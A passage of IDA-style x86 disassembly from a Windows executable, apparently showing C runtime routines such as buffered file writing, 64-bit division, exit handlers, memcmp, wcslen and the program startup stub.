mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41755E
mov eax, esi
loc_41755E: ; CODE XREF: sub_4174DF+7Bj
push eax
push ebx
push edi
call sub_4155D0
push ebx
push ebp
call sub_418B28
add esp, 14h
loc_417570: ; CODE XREF: sub_4174DF+66j
test edi, edi
jnz loc_4175F8
loc_417578: ; CODE XREF: sub_4174DF+53j
; sub_4174DF+73j
test esi, esi
jnz short loc_41757F
push 1
pop esi
loc_41757F: ; CODE XREF: sub_4174DF+9Bj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_46AB20
call dword_42114C
mov edi, eax
test edi, edi
jz short loc_4175DB
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_4175A4
mov eax, esi
loc_4175A4: ; CODE XREF: sub_4174DF+C1j
push eax
push ebx
push edi
call sub_4155D0
push ebx
push ebp
call sub_418B28
add esp, 14h
jmp short loc_4175D7
; ---------------------------------------------------------------------------
loc_4175B8: ; CODE XREF: sub_4174DF+47j
test esi, esi
jnz short loc_4175BF
push 1
pop esi
loc_4175BF: ; CODE XREF: sub_4174DF+DBj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push dword_46AB20
call dword_421160
mov edi, eax
loc_4175D7: ; CODE XREF: sub_4174DF+D7j
test edi, edi
jnz short loc_4175F8
loc_4175DB: ; CODE XREF: sub_4174DF+36j
; sub_4174DF+B9j
cmp dword_469514, 0
jz short loc_4175F8
push esi
call sub_418A68
test eax, eax
pop ecx
jnz loc_417510
jmp loc_417509
; ---------------------------------------------------------------------------
loc_4175F8: ; CODE XREF: sub_4174DF+93j
; sub_4174DF+FAj ...
mov eax, edi
loc_4175FA: ; CODE XREF: sub_4174DF+16j
; sub_4174DF+2Cj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4174DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175FF proc near ; CODE XREF: sub_40BAB4+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_417623
xor eax, eax
jmp loc_4176F0
; ---------------------------------------------------------------------------
loc_417623: ; CODE XREF: sub_4175FF+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_417636
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41763D
; ---------------------------------------------------------------------------
loc_417636: ; CODE XREF: sub_4175FF+2Dj
mov [ebp+arg_C], 1000h
loc_41763D: ; CODE XREF: sub_4175FF+35j
; sub_4175FF+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_417671
mov eax, [esi+4]
test eax, eax
jz short loc_417671
cmp ebx, eax
mov edi, ebx
jb short loc_417657
mov edi, eax
loc_417657: ; CODE XREF: sub_4175FF+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_4155D0
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_4176B7
; ---------------------------------------------------------------------------
loc_417671: ; CODE XREF: sub_4175FF+47j
; sub_4175FF+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_4176BC
test ecx, ecx
jz short loc_417685
push esi
call sub_4186E4
test eax, eax
pop ecx
jnz short loc_4176FE
loc_417685: ; CODE XREF: sub_4175FF+79j
cmp [ebp+arg_C], 0
jz short loc_417698
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41769A
; ---------------------------------------------------------------------------
loc_417698: ; CODE XREF: sub_4175FF+8Aj
mov edi, ebx
loc_41769A: ; CODE XREF: sub_4175FF+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41C42A
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4176F5
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_4176F5
loc_4176B7: ; CODE XREF: sub_4175FF+70j
mov edi, [ebp+var_4]
jmp short loc_4176E5
; ---------------------------------------------------------------------------
loc_4176BC: ; CODE XREF: sub_4175FF+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_417C37
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4176FE
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_4176E5
mov [ebp+arg_C], 1
loc_4176E5: ; CODE XREF: sub_4175FF+BBj
; sub_4175FF+DDj
test ebx, ebx
jnz loc_41763D
mov eax, [ebp+arg_8]
loc_4176F0: ; CODE XREF: sub_4175FF+1Fj
; sub_4175FF+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4176F5: ; CODE XREF: sub_4175FF+ADj
; sub_4175FF+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_417700
; ---------------------------------------------------------------------------
loc_4176FE: ; CODE XREF: sub_4175FF+84j
; sub_4175FF+CFj
mov eax, edi
loc_417700: ; CODE XREF: sub_4175FF+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_4176F0
sub_4175FF endp
; =============== S U B R O U T I N E =======================================
sub_417709 proc near ; CODE XREF: sub_40C1FE+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_421094
cmp eax, 0FFFFFFFFh
jnz short loc_417729
call dword_421088
push eax
call sub_41C5D7
pop ecx
loc_417725: ; CODE XREF: sub_417709+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417729: ; CODE XREF: sub_417709+Dj
test al, 1
jz short loc_41774A
test [esp+arg_4], 2
jz short loc_41774A
mov dword_4694B4, 0Dh
mov dword_4694B8, 5
jmp short loc_417725
; ---------------------------------------------------------------------------
loc_41774A: ; CODE XREF: sub_417709+22j
; sub_417709+29j
xor eax, eax
retn
sub_417709 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417750 proc near ; CODE XREF: sub_40C328+5Fp
; sub_40C328+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_417771
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_417771: ; CODE XREF: sub_417750+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41778D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41778D: ; CODE XREF: sub_417750+27j
or eax, eax
jnz short loc_4177A9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_4177EA
; ---------------------------------------------------------------------------
loc_4177A9: ; CODE XREF: sub_417750+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_4177B7: ; CODE XREF: sub_417750+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_4177B7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_4177E5
cmp edx, [esp+0Ch+arg_4]
ja short loc_4177E5
jb short loc_4177E6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_4177E6
loc_4177E5: ; CODE XREF: sub_417750+85j
; sub_417750+8Bj
dec esi
loc_4177E6: ; CODE XREF: sub_417750+8Dj
; sub_417750+93j
xor edx, edx
mov eax, esi
loc_4177EA: ; CODE XREF: sub_417750+57j
dec edi
jnz short loc_4177F4
neg edx
neg eax
sbb edx, 0
loc_4177F4: ; CODE XREF: sub_417750+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_417750 endp
; =============== S U B R O U T I N E =======================================
sub_4177FA proc near ; CODE XREF: .nsp0:00417B8Bp
mov eax, off_437D5C
test eax, eax
jz short loc_417805
call eax ; sub_415F3B
loc_417805: ; CODE XREF: sub_4177FA+7j
push offset dword_423028
push offset dword_423014
call sub_4178E2
push offset dword_423010
push offset dword_423000
call sub_4178E2
add esp, 10h
retn
sub_4177FA endp
; =============== S U B R O U T I N E =======================================
sub_417827 proc near ; CODE XREF: .nsp0:00417BCAp
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_417849
add esp, 0Ch
retn
sub_417827 endp
; =============== S U B R O U T I N E =======================================
sub_417838 proc near ; CODE XREF: .nsp0:00417BE9p
; sub_417BEE+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_417849
add esp, 0Ch
retn
sub_417838 endp
; =============== S U B R O U T I N E =======================================
sub_417849 proc near ; CODE XREF: sub_417827+8p
; sub_417838+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4694FC, edi
jnz short loc_417866
push [esp+4+arg_0]
call dword_421104
push eax
call dword_421140
loc_417866: ; CODE XREF: sub_417849+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4694F8, edi
mov byte_4694F4, bl
jnz short loc_4178BA
mov eax, dword_46AB34
test eax, eax
jz short loc_4178A9
mov ecx, dword_46AB30
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_4178A8
loc_417895: ; CODE XREF: sub_417849+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41789D
call eax
loc_41789D: ; CODE XREF: sub_417849+50j
sub esi, 4
cmp esi, dword_46AB34
jnb short loc_417895
loc_4178A8: ; CODE XREF: sub_417849+4Aj
pop esi
loc_4178A9: ; CODE XREF: sub_417849+3Cj
push offset dword_423034
push offset dword_42302C
call sub_4178E2
pop ecx
pop ecx
loc_4178BA: ; CODE XREF: sub_417849+33j
push offset dword_423040
push offset dword_423038
call sub_4178E2
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_4178E0
push [esp+4+arg_0]
mov dword_4694FC, edi
call dword_421114
loc_4178E0: ; CODE XREF: sub_417849+85j
pop edi
retn
sub_417849 endp
; =============== S U B R O U T I N E =======================================
sub_4178E2 proc near ; CODE XREF: sub_4177FA+15p
; sub_4177FA+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_4178E7: ; CODE XREF: sub_4178E2+16j
cmp esi, [esp+4+arg_4]
jnb short loc_4178FA
mov eax, [esi]
test eax, eax
jz short loc_4178F5
call eax
loc_4178F5: ; CODE XREF: sub_4178E2+Fj
add esi, 4
jmp short loc_4178E7
; ---------------------------------------------------------------------------
loc_4178FA: ; CODE XREF: sub_4178E2+9j
pop esi
retn
sub_4178E2 endp
; =============== S U B R O U T I N E =======================================
sub_4178FC proc near ; CODE XREF: sub_40CE55+2AAAp
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_421118
test eax, eax
jnz short loc_417912
call dword_421088
jmp short loc_417914
; ---------------------------------------------------------------------------
loc_417912: ; CODE XREF: sub_4178FC+Cj
xor eax, eax
loc_417914: ; CODE XREF: sub_4178FC+14j
test eax, eax
jz short loc_417923
push eax
call sub_41C5D7
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417923: ; CODE XREF: sub_4178FC+1Aj
xor eax, eax
retn
sub_4178FC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417930 proc near ; CODE XREF: sub_412B60+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41797C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41797D
test eax, 1
jz short loc_41795D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_4179AA
inc esi
inc edi
dec eax
jz short loc_41797A
loc_41795D: ; CODE XREF: sub_417930+20j
; sub_417930+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_4179AA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_4179AA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41795D
loc_41797A: ; CODE XREF: sub_417930+2Bj
; sub_417930+84j
pop edi
pop esi
locret_41797C: ; CODE XREF: sub_417930+6j
retn
; ---------------------------------------------------------------------------
loc_41797D: ; CODE XREF: sub_417930+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_4179B2
repe cmpsd
jz short loc_4179B2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_4179A5
cmp ch, dh
jnz short loc_4179A5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_4179A5
cmp ch, dh
loc_4179A5: ; CODE XREF: sub_417930+63j
; sub_417930+67j ...
mov eax, 0
loc_4179AA: ; CODE XREF: sub_417930+26j
; sub_417930+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4179B2: ; CODE XREF: sub_417930+55j
; sub_417930+59j
test eax, eax
jz short loc_41797A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_4179A5
dec eax
jz short loc_4179D9
cmp dh, ch
jnz short loc_4179A5
dec eax
jz short loc_4179D9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_4179A5
dec eax
loc_4179D9: ; CODE XREF: sub_417930+8Fj
; sub_417930+96j
pop edi
pop esi
retn
sub_417930 endp
; =============== S U B R O U T I N E =======================================
sub_4179DC proc near ; CODE XREF: sub_413CA9+55p
; sub_4146BA+236p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_4179F3
loc_4179E9: ; CODE XREF: sub_4179DC+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_4179E9
loc_4179F3: ; CODE XREF: sub_4179DC+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_4179DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4179F9 proc near ; CODE XREF: sub_413CA9+19p
; sub_413CA9+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_417AC6
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_417AF3
cmp dword_469548, esi
jnz short loc_417A4A
cmp edi, esi
jbe loc_417AF3
loc_417A29: ; CODE XREF: sub_4179F9+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_417AF3
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_417A29
jmp loc_417AF3
; ---------------------------------------------------------------------------
loc_417A4A: ; CODE XREF: sub_4179F9+26j
mov ebx, [ebp+arg_4]
mov esi, dword_421064
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_469558
call esi
test eax, eax
jnz loc_417AF2
call dword_421088
cmp eax, 7Ah
jz short loc_417A84
loc_417A75: ; CODE XREF: sub_4179F9+CBj
; sub_4179F9+F7j
mov dword_4694B4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_417AF3
; ---------------------------------------------------------------------------
loc_417A84: ; CODE XREF: sub_4179F9+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_417A8C: ; CODE XREF: sub_4179F9+B3j
mov cl, [eax]
test cl, cl
jz short loc_417AAE
mov edx, off_437D90
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_417AA3
inc eax
loc_417AA3: ; CODE XREF: sub_4179F9+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_417A8C
loc_417AAE: ; CODE XREF: sub_4179F9+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_469558
call esi
test eax, eax
jnz short loc_417AF3
jmp short loc_417A75
; ---------------------------------------------------------------------------
loc_417AC6: ; CODE XREF: sub_4179F9+Fj
cmp dword_469548, esi
jnz short loc_417AD9
push [ebp+arg_4]
call sub_415CF0
pop ecx
jmp short loc_417AF3
; ---------------------------------------------------------------------------
loc_417AD9: ; CODE XREF: sub_4179F9+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_469558
call dword_421064
cmp eax, esi
jz short loc_417A75
loc_417AF2: ; CODE XREF: sub_4179F9+6Bj
dec eax
loc_417AF3: ; CODE XREF: sub_4179F9+1Aj
; sub_4179F9+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4179F9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421678
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call dword_42116C
xor edx, edx
mov dl, ah
mov dword_4694CC, edx
mov ecx, eax
and ecx, 0FFh
mov dword_4694C8, ecx
shl ecx, 8
add ecx, edx
mov dword_4694C4, ecx
shr eax, 10h
mov dword_4694C0, eax
xor esi, esi
push esi
call sub_418A83
pop ecx
test eax, eax
jnz short loc_417B64
push 1Ch
call sub_417C13
pop ecx
loc_417B64: ; CODE XREF: .nsp0:00417B5Aj
mov [ebp-4], esi
call sub_41CC52
call dword_421168
mov dword_46AB24, eax
call sub_41CB20
mov dword_469500, eax
call sub_41C8D3
call sub_41C81A
call sub_4177FA
mov [ebp-30h], esi
lea eax, [ebp-5Ch]
push eax
call dword_421164
call sub_41C7C2
mov [ebp-64h], eax
test byte ptr [ebp-30h], 1
jz short loc_417BB1
movzx eax, word ptr [ebp-2Ch]
jmp short loc_417BB4
; ---------------------------------------------------------------------------
loc_417BB1: ; CODE XREF: .nsp0:00417BA9j
push 0Ah
pop eax
loc_417BB4: ; CODE XREF: .nsp0:00417BAFj
push eax
push dword ptr [ebp-64h]
push esi
push esi
call dword_4210C8
push eax
call sub_40C682
mov [ebp-60h], eax
push eax
call sub_417827
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call sub_41C63E
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_417838
; =============== S U B R O U T I N E =======================================
sub_417BEE proc near ; CODE XREF: sub_416852+16p
; sub_41C81A+4Ep ...
arg_0 = dword ptr 4
cmp dword_469508, 1
jnz short loc_417BFC
call sub_41CEE0
loc_417BFC: ; CODE XREF: sub_417BEE+7j
push [esp+arg_0]
call sub_41CF19
push 0FFh
call off_437D80
pop ecx
pop ecx
retn
sub_417BEE endp
; =============== S U B R O U T I N E =======================================
sub_417C13 proc near ; CODE XREF: .nsp0:00417B5Ep
arg_0 = dword ptr 4
cmp dword_469508, 1
jnz short loc_417C21
call sub_41CEE0
loc_417C21: ; CODE XREF: sub_417C13+7j
push [esp+arg_0]
call sub_41CF19
pop ecx
push 0FFh
call dword_421114
retn
sub_417C13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C37 proc near ; CODE XREF: sub_4154E7+46p
; sub_415A6A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_417D40
test al, 40h
jnz loc_417D40
test al, 1
jz short loc_417C6F
and dword ptr [esi+4], 0
test al, 10h
jz loc_417D40
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_417C6F: ; CODE XREF: sub_417C37+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_417CA9
cmp esi, offset dword_4384A8
jz short loc_417C97
cmp esi, offset dword_4384C8
jnz short loc_417CA2
loc_417C97: ; CODE XREF: sub_417C37+56j
push ebx
call sub_41D0B0
test eax, eax
pop ecx
jnz short loc_417CA9
loc_417CA2: ; CODE XREF: sub_417C37+5Ej
push esi
call sub_41D06C
pop ecx
loc_417CA9: ; CODE XREF: sub_417C37+4Ej
; sub_417C37+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_417D16
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_417CD9
push edi
push eax
push ebx
call sub_41C42A
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_417D0C
; ---------------------------------------------------------------------------
loc_417CD9: ; CODE XREF: sub_417C37+90j
cmp ebx, 0FFFFFFFFh
jz short loc_417CF4
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_46A7E0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_417CF9
; ---------------------------------------------------------------------------
loc_417CF4: ; CODE XREF: sub_417C37+A5j
mov eax, offset dword_4383F0
loc_417CF9: ; CODE XREF: sub_417C37+BBj
test byte ptr [eax+4], 20h
jz short loc_417D0C
push 2
push 0
push ebx
call sub_41BB7F
add esp, 0Ch
loc_417D0C: ; CODE XREF: sub_417C37+A0j
; sub_417C37+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_417D2A
; ---------------------------------------------------------------------------
loc_417D16: ; CODE XREF: sub_417C37+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41C42A
add esp, 0Ch
mov [ebp+arg_4], eax
loc_417D2A: ; CODE XREF: sub_417C37+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_417D36
or dword ptr [esi+0Ch], 20h
jmp short loc_417D45
; ---------------------------------------------------------------------------
loc_417D36: ; CODE XREF: sub_417C37+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_417D48
; ---------------------------------------------------------------------------
loc_417D40: ; CODE XREF: sub_417C37+10j
; sub_417C37+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_417D45: ; CODE XREF: sub_417C37+FDj
or eax, 0FFFFFFFFh
loc_417D48: ; CODE XREF: sub_417C37+107j
pop esi
pop ebx
pop ebp
retn
sub_417C37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D4C proc near ; CODE XREF: sub_4154E7+29p
; sub_415A6A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_418465
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_417D80
; ---------------------------------------------------------------------------
loc_417D78: ; CODE XREF: sub_417D4C+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_417D80: ; CODE XREF: sub_417D4C+2Aj
cmp [ebp+var_14], edx
jl loc_418465
cmp bl, 20h
jl short loc_417DA1
cmp bl, 78h
jg short loc_417DA1
movsx eax, bl
mov al, [eax+421664h]
and eax, 0Fh
jmp short loc_417DA3
; ---------------------------------------------------------------------------
loc_417DA1: ; CODE XREF: sub_417D4C+40j
; sub_417D4C+45j
xor eax, eax
loc_417DA3: ; CODE XREF: sub_417D4C+53j
movsx eax, byte_421684[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_418454 ; default
jmp off_41846D[eax*4] ; switch jump
loc_417DC1: ; DATA XREF: .nsp0:off_41846Do
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417DBA case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417DDC: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
movsx eax, bl ; jumptable 00417DBA case 2
sub eax, 20h
jz short loc_417E1F
sub eax, 3
jz short loc_417E16
sub eax, 8
jz short loc_417E0D
dec eax
dec eax
jz short loc_417E04
sub eax, 3
jnz loc_418454 ; default
or [ebp+var_4], 8
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E04: ; CODE XREF: sub_417D4C+A4j
or [ebp+var_4], 4
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E0D: ; CODE XREF: sub_417D4C+A0j
or [ebp+var_4], 1
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E16: ; CODE XREF: sub_417D4C+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E1F: ; CODE XREF: sub_417D4C+96j
or [ebp+var_4], 2
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E28: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
cmp bl, 2Ah ; jumptable 00417DBA case 3
jnz short loc_417E50
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_418454 ; default
or [ebp+var_4], 4
neg eax
loc_417E48: ; CODE XREF: sub_417D4C+111j
mov [ebp+var_20], eax
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E50: ; CODE XREF: sub_417D4C+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_417E48
; ---------------------------------------------------------------------------
loc_417E5F: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
mov [ebp+var_10], edx ; jumptable 00417DBA case 4
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E67: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
cmp bl, 2Ah ; jumptable 00417DBA case 5
jnz short loc_417E8A
lea eax, [ebp+arg_8]
push eax
call sub_41852B
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_418454 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E8A: ; CODE XREF: sub_417D4C+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417E9C: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
cmp bl, 49h ; jumptable 00417DBA case 6
jz short loc_417ECF
cmp bl, 68h
jz short loc_417EC6
cmp bl, 6Ch
jz short loc_417EBD
cmp bl, 77h
jnz loc_418454 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417EBD: ; CODE XREF: sub_417D4C+15Dj
or [ebp+var_4], 10h
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417EC6: ; CODE XREF: sub_417D4C+158j
or [ebp+var_4], 20h
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417ECF: ; CODE XREF: sub_417D4C+153j
cmp byte ptr [edi], 36h
jnz short loc_417EE8
cmp byte ptr [edi+1], 34h
jnz short loc_417EE8
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_418454 ; default
; ---------------------------------------------------------------------------
loc_417EE8: ; CODE XREF: sub_417D4C+186j
; sub_417D4C+18Cj
mov [ebp+var_30], edx
loc_417EEB: ; CODE XREF: sub_417D4C+6Ej
; DATA XREF: .nsp0:off_41846Do
mov ecx, off_437D90 ; jumptable 00417DBA case 0
mov [ebp+var_24], edx
movzx eax, bl
